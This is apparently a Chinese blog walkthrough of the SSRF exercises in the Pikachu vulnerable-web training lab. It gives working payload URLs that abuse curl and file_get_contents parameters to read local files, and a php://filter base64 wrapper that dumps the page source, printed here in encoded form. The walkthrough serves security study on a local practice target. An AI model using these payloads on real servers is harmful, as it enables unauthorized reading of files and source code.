Pikachu之SSRF

285 阅读2分钟

image.png

image.png

image.png

1. ssrf url 漏洞利用

image.png

image.png 可以看到这里的url 是一个经过拼接的url 而且 可以看出来是一个复制前面http://127.0.0.1/pikachu/vul/ssrf/ 这一段

那么可能我们就能通过这段网址后面加上我们觉得可能可访问的网页路径进行本来不应该能访问的页面

http://127.0.0.1/pikachu/vul/ssrf/ssrf_curl.php?url=http://127.0.0.1/dvwa/login.php

这里我们因为还有一个DVWA的靶场 那么我们就访问试试看 image.png

如果黑客知道服务器路径 还可能存在文件违法取 http://127.0.0.1/pikachu/vul/ssrf/ssrf_curl.php?url=http://127.0.0.1/pikachu/passwd.txt

image.png

image.png

http://127.0.0.1/pikachu/vul/ssrf/ssrf_curl.php?url=http://127.0.0.1/pikachu/vul/ssrf/ssrf_info/info1.php

2.ssrf file_get_content

跟url 一样可以读取服务器的文件内容 image.png

还可以通过这个漏洞 获取网站源码 这里先进行base64的编码然后进行输出

http://127.0.0.1/pikachu/vul/ssrf/ssrf_fgc.php?file=php://filter/read=convert.base64-encode/resource=ssrf.php

image.png

PD9waHAKLyoqCiAqIENyZWF0ZWQgYnkgcnVubmVyLmhhbgogKiBUaGVyZSBpcyBub3RoaW5nIG5ldyB1bmRlciB0aGUgc3VuCiAqLwoKCiRTRUxGX1BBR0UgPSBzdWJzdHIoJF9TRVJWRVJbJ1BIUF9TRUxGJ10sc3RycnBvcygkX1NFUlZFUlsnUEhQX1NFTEYnXSwnLycpKzEpOwoKaWYgKCRTRUxGX1BBR0UgPSAic3NyZi5waHAiKXsKICAgICRBQ1RJVkUgPSBhcnJheSgnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnYWN0aXZlIG9wZW4nLCdhY3RpdmUnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnKTsKfQoKJFBJS0FfUk9PVF9ESVIgPSAgIi4uLy4uLyI7CmluY2x1ZGVfb25jZSAkUElLQV9ST09UX0RJUi4naGVhZGVyLnBocCc7CgoKCgoKCj8+CgoKPGRpdiBjbGFzcz0ibWFpbi1jb250ZW50Ij4KICAgIDxkaXYgY2xhc3M9Im1haW4tY29udGVudC1pbm5lciI+CiAgICAgICAgPGRpdiBjbGFzcz0iYnJlYWRjcnVtYnMgYWNlLXNhdmUtc3RhdGUiIGlkPSJicmVhZGNydW1icyI+CiAgICAgICAgICAgIDx1bCBjbGFzcz0iYnJlYWRjcnVtYiI+CiAgICAgICAgICAgICAgICA8bGk+CiAgICAgICAgICAgICAgICAgICAgPGkgY2xhc3M9ImFjZS1pY29uIGZhIGZhLWhvbWUgaG9tZS1pY29uIj48L2k+CiAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj0ic3NyZi5waHAiPjwvYT4KICAgICAgICAgICAgICAgIDwvbGk+CiAgICAgICAgICAgICAgICA8bGkgY2xhc3M9ImFjdGl2ZSI+5qaC6L+wPC9saT4KICAgICAgICAgICAgPC91bD4KICAgICAgICA8L2Rpdj4KICAgICAgICA8ZGl2IGNsYXNzPSJwYWdlLWNvbnRlbnQiPgoKICAgICAgICAgPGI+U1NSRihTZXJ2ZXItU2lkZSBSZXF1ZXN0IEZvcmdlcnk65pyN5Yqh5Zmo56uv6K+35rGC5Lyq6YCgKTwvYj4KICAgICAgICAgPHA+5YW25b2i5oiQ55qE5Y6f5Zug5aSn6YO95piv55Sx5LqO5pyN5Yqh56uvPGI+5o+Q5L6b5LqG5LuO5YW25LuW5pyN5Yqh5Zmo5bqU55So6I635Y+W5pWw5o2u55qE5Yqf6IO9PC9iPizkvYblj4jmsqHmnInlr7nnm67moIflnLDlnYDlgZrkuKXmoLzov4fmu6TkuI7pmZDliLY8L3A+CiAgICAgICAgICAgIOWvvOiHtOaUu+WHu+iAheWPr+S7peS8oOWFpeS7u+aEj+eahOWcsOWdgOadpeiuqeWQjuerr+acjeWKoeWZqOWvueWFtuWPkei1t+ivt+axgizlubbov5Tlm57lr7nor6Xnm67moIflnLDlnYDor7fmsYLnmoTmlbDmja48YnI+CiAgICAgICAgICAgIDxicj4KICAgICAgICAgICAg5pWw5o2u5rWBOuaUu+WHu+iAhS0tLS0tPuacjeWKoeWZqC0tLS0+55uu5qCH5Zyw5Z2APGJyPgogICAgICAgICAgICA8YnI+CiAgICAgICAgICAgIOagueaNruWQjuWPsOS9v+eUqOeahOWHveaVsOeahOS4jeWQjCzlr7nlupTnmoTlvbHlk43lkozliKnnlKjmlrnms5Xlj4jmnInkuI3kuIDmoLcKICAgICAgICAgICAgPHByZSBzdHlsZT0id2lkdGg6IDUwMHB4OyI+ClBIUOS4reS4i+mdouWHveaVsOeahOS9v+eUqOS4jeW9k+S8muWvvOiHtFNTUkY6CmZpbGVfZ2V0X2NvbnRlbnRzKCkKZnNvY2tvcGVuKCkKY3VybF9leGVjKCkKICAgICAgICAgICAgPC9wcmU+PGJyPgogICAgICAgICAgICDlpoLmnpzkuIDlrpropoHpgJrov4flkI7lj7DmnI3liqHlmajov5znqIvljrvlr7nnlKjmiLfmjIflrpooIuaIluiAhemihOWfi+WcqOWJjeerr+eahOivt+axgiIp55qE5Zyw5Z2A6L+b6KGM6LWE5rqQ6K+35rGCLDxiPuWImeivt+WBmuWlveebruagh+WcsOWdgOeahOi/h+a7pDwvYj7jgIIKPGJyPgogICAgICAgICAgICA8YnI+CgogICAgICAgICAgICDkvaDlj6/ku6XmoLnmja4iU1NSRiLph4zpnaLnmoTpobnnm67mnaXmkJ7mh4Lpl67popjnmoTljp/lm6AKCiAgICAgICAgPC9kaXY+PCEtLSAvLnBhZ2UtY29udGVudCAtLT4KICAgIDwvZGl2Pgo8L2Rpdj48IS0tIC8ubWFpbi1jb250ZW50IC0tPgoKCgo8P3BocAppbmNsdWRlX29uY2UgJFBJS0FfUk9PVF9ESVIgLiAnZm9vdGVyLnBocCc7Cgo/Pgo=

-   **

www.hiencode.com/base64.html 通过base64解码

image.png